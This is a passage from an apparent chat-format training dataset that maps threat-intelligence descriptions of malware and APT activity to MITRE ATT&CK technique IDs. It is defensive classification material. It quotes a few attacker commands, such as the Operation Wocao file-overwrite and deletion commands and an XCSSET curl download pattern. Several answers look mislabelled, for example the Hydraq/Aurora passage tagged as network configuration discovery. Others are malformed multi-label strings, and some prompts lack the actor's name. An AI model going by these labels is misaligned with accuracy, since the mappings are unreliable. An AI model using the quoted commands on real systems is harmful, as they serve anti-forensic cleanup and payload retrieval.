                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY contains a number of modules that can bypass UAC, including through Window's Device Manager, Manage Optional Features, and an image hijack on the `.msc` file extension."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some additional log file analysis reveals that a dotm file hosted with a. jpg extension was accessed by an Israeli IP address. This IP address likely belongs to a victim in Israel that executed the main DOCX. Based on the analysis of the user-agent string belonging to the Israel IP address Microsoft+Office+Existence+Discovery indicates that the dotm file in question was downloaded from within Microsoft Office (template injection"
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Imminent Monitor has a dynamic debugging feature to check whether it is located in the %TEMP% directory, otherwise it copies itself there."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CARROTBAT has the ability to download a base64 encoded payload and execute obfuscated commands on the infected host."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AADInternals can register a device to Azure AD."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Custom tools such as REDTRIP, PINKTRIP, and BLUETRIP have also been used to create SOCKS5 proxies between infected hosts"
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BONDUPDATER can read batch commands in a file sent from its C2 server and execute them with cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used direct Windows system calls by leveraging Dumpert."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command & Control  The malware communicates with the Naver email platform in order to communicate with the operator"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has used tmp files to stage gathered information."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 continued distributing Dridex through early June 2017 using a range of email attachments. Most recently these included PDF attachments with embedded Microsoft Word documents bearing malicious macros that call PowerShell commands that install Dridex"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used the  RAT, which communicates over HTTP with a payload encrypted with RC4."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "searches for Microsoft Outlook data files with extensions .pst and .ost for collection and exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can delete files and optionally overwrite with random data beforehand."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the ability to search for a given filename on a victim."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After encrypting C2 data, BADNEWS converts it into a hexadecimal representation and then encodes it into base64."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TinyZBot contains keylogger functionality."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, the threat actors consistently removed traces of their activity by first overwriting a file using `/c cd /d c:\\windows\\temp\\ & copy \\\\<IP ADDRESS>\\c$\\windows\\system32\\devmgr.dll \\\\<IP ADDRESS>\\c$\\windows\\temp\\LMAKSW.ps1 /y` and then deleting the overwritten file using `/c cd /d c:\\windows\\temp\\ & del \\\\<IP ADDRESS>\\c$\\windows\\temp\\LMAKSW.ps1`."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once gaining a foothold, the threat actors use off-the-shelf tools to ensure persistence, including Remote Desktop Protocol (RDP) to maintain access. While GDPR requirements prevented us from pivoting on Registrant information, the actors reused IP space, reused a certificate, and the aforementioned domain mimicking technique allowed for some pivoting. Toolset . Once gaining a foothold on a user’s system, the threat actors behind STOLEN PENCIL use Microsoft’s Remote Desktop Protocol (RDP) for remote point-and-click access. This means a human is behind the keyboard interacting with a compromised system, and not using a RAT (Remote Access Trojan) with a command-and-control site acting as a proxy between the threat actor and the compromised system. A compromised or stolen certificate was used to sign several PE files used in STOLEN PENCIL for two sets of tools: - MECHANICAL Logs keystrokes to %userprofile%\\appdata\\roaming\\apach. GREASE a tool to add a Windows administrator account with a specific username/password and enable RDP, circumventing any firewall rules. defaultes/1qaz2wsx#EDC - a tool to add a Windows administrator account with a specific username/password and enable RDP, circumventing any firewall rules. Figure 5: Certificate used to sign MECHANICAL/GREASE While the threat actors did use a few tools to automate intrusions, we also found a ZIP archive of tools that demonstrate their propensity for password theft to propagate. Using a combination of stolen passwords, backdoor accounts, and a forced-open RDP service, the threat actors are likely to retain a foothold on a compromised system. Conclusion . While we were able to gain insight into the threat actor’s TTPs (Tools, Techniques, &amp; Procedures) behind STOLEN PENCIL, this is clearly just a small window into their activity"
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NavRAT copies itself into a running Internet Explorer process to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 has sent spearphishing attachments attempting to get a user to open them."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several  malware families are capable of downloading and executing binaries from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates scheduled tasks to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRatReporter sent collected system and network information compiled into a report to an adversary-controlled C2."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used brute force techniques to obtain credentials."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpeakUp uses the \"ifconfig -a\" command."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly deleted system, security, terminal services, remote services, and audit logs from a victim."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET downloads browser specific AppleScript modules using a constructed URL with the \"curl\" command, \"https://\" & domain & \"/agent/scripts/\" & moduleName & \".applescript\"."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent has sent data related to a compromise host over its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Peirates can use stolen service account tokens to perform its operations. It also enables adversaries to switch between valid service accounts."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clop has used built-in API functions such as WNetOpenEnumW(), WNetEnumResourceW(), WNetCloseEnum(), GetProcAddress(), and VirtualAlloc()."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has deployed malware that has copied itself to the startup directory for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When it first starts,  crawls the victim's local drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWRUNER may collect network configuration data by running \"ipconfig /all\" on a victim."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A key trait of NOBELIUM’s ongoing activity over the last year has been the abuse of indirect paths and trust relationships to target and gain access to victims of interest for intelligence gain. In the most recent campaign, this has manifested in a compromise-one-to-compromise-many approach—exploiting the service providers’ trust chain to gain broad access to multiple customer tenants for subsequent attacks. NOBELIUM leverages established standard business practices, to target downstream customers across multiple managed tenants. These delegated administrative privileges are often neither audited for approved use nor disabled by a service provider or downstream customer once use has ended, leaving them active until removed by the administrators. If NOBELIUM has compromised the accounts tied to delegated administrative privileges through other credential-stealing attacks, that access grants actors like NOBELIUM persistence for ongoing campaigns"
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script itself works as a downloader for additional files needed for loading the malware into the system, which are hosted separately as a ZIP package. We confirmed two different techniques used for distributing the Melcoz backdoor: the AutoIt loader script and DLL Hijack"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TAINTEDSCRIBE has used \"FileReadZipSend\" to compress a file and send to C2."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors used Cain & Abel to crack password hashes."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Endpoint Protection . The Trojan.Hydraq Incident . It has been about a week since news of the mysterious Hydraq Trojan (also known as Aurora) attack broke with the unveiling of a threat by Google to pull its operations out of China. Although concrete details of the attacks are not yet public, Google made reference to a number of Gmail accounts that were compromised during or after the attacks. In the more sophisticated attacks, the attacker will use a new zero day vulnerability, as obviously this will have a greater success rate. In this attack a PDF file was used to exploit the Adobe Acrobat, Reader, and Flash Player Remote Code Execution Vulnerability (CVE-2009-1862/BID35759). This PDF installed a Trojan horse which was an earlier version of the current Trojan.Hydraq. Considering the efforts that the attackers put into staging the attack as a whole, the end malware is not so sophisticated. This means the remote attacker has the ability to see in real time any user interface activity as if they were sitting right next to the user. The backchannel URL addresses have been changed by the Dynamic DNS sites to resolve to a loopback address (127.0.0.2). This in effect severs the connection to the control servers. As described in the previously posted blog (Hydraq - An Attack of Mythical Proportions), an unpatched Internet Explorer vulnerability (BID 37815) was used as one of the propagation vectors for this particular Trojan.Hydraq attack. This security hole allows remote exploitation, which means that attackers can run any malicious code of their liking on a victim’s machine by taking advantage of the vulnerability. The use of browsers other than Internet Explorer by an increasingly large number of people may have helped limit the “attack surface” by reducing the number of computers vulnerable to the Internet Explorer vulnerability used in this attack"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN5 has cleared event logs from victims."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MESSAGETAP checks for the existence of two configuration files (keyword_parm.txt and parm.txt) and attempts to read the files every 30 seconds."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OutSteel can automatically scan for and collect files with specific extensions."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TajMahal has the ability to identify running processes and associated plugins on an infected host."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HotCroissant has the ability to list the names of all open windows on the infected host."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIVEHANDS has the ability to enumerate files on a compromised host in order to encrypt files with specific extensions."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrifeWater can collect the user name from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains the getFirefoxPassword function to attempt to locate Firefox passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GuLoader can download further malware for execution on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can gather the victim user name."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ScreenUtil module, which was first reported in 2017, takes a screenshot of the current user's desktop. All variants analyzed by CTU researchers were hard-coded to drop the captured image files to %APPDATA%\\Update\\Tmp"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CreepySnail can use Base64 to encode its C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script will send the specified number of DNS queries using the following format, each of which the C2 will respond with an IPv6 address that the script will treat as a string of data:   www.<sequence number>.<same random number between 100000 and 999999>.<c2 domain name>   The payload will treat the data provided by the C2 as a message, which will have the following structure:   hello<char uuid[35]><char type[1]><data>   The message will start with the string hello followed by a 35-character UUID string"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As described in other blog posts, Remcos appears to be developed in C++. As the release notes show, it is actively maintained. 17, 2017 Remcos has the functionalities that are typical of a RAT. It is capable of hiding in the system and using malware techniques that make it difficult for the typical user to detect the existence of Remcos. A good example is the anti-analysis section: It is checking for an outdated artifact, the 'SbieDll.dll'. In our opinion, there are not many analysts using Sandboxie these days anymore. Below you can see the Remcos VMware detection code: The following is a code sample from aldeid.com: The blog referenced above has already described several functions of Remcos features in detail. We would like to focus on Remcos' cryptographic implementation. It uses RC4 pretty much everywhere when there is a need to decode or encode any data. Examples are registry entries, C2 server network communication or file paths shown below: The exepath registry data is base64-encoded, RC4-encrypted data. This can be converted into the typical RC4 pseudo code"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Most  samples maintain persistence by setting the Registry Run key SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ in the HKLM or HKCU hive, with the Registry value and file name varying by sample."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors used compromised VPN accounts to gain access to victim systems."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts', 'T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MechaFlounder begins by entering a loop that will continuously attempt to communicate with its C2 server. The Trojan will use HTTP to send an outbound beacon to its C2 server that contains the user's account name and hostname in the URL. The code, seen in Figure 2, builds the URL by concatenating the username and hostname with two dashes \"--\" between the two strings. The code then creates the URL string by using the username and hostname string twice with the back-slash \"\\\" character between the two and by appending the string \"-sample.html"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT-C-36 has used ConfuserEx to obfuscate its variant of Imminent Monitor, compressed payload and RAT packages, and password protected encrypted email attachments to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used mshta.exe to execute VBScript to execute malicious code on victim systems."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QAKBOT abuses Wscript to execute a Jscript file."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript', 'T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 used GetPassword_x64 to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tomiris can download files and execute them on a victim's system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire leverages PowerShell for the majority of its client-side agent tasks. Empire also contains the ability to conduct PowerShell remoting with the \"Invoke-PSRemoting\" module."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "hides collected data in password-protected .rar archives."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data', 'T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT32 backdoor can use HTTP over a non-standard TCP port (e.g 14146) which is specified in the backdoor configuration."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TIN WOODLAWNTIN WOODLAWN is a targeted threat group, active since at least 2014, that CTU researchers assess with moderate confidence is operated or tasked by the Vietnamese government. TIN WOODLAWN is technically capable and uses a range of techniques including template injection, obfuscated macros and steganography for malware delivery, memory-resident malware, use of native command line scripts for Cobalt Strike persistence, and non-standard command and control channels such as DNS and ICMP.ToolsTaegis™ XDR Adversary Software Coverage Tool"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has used CVE-2016-7255 to escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
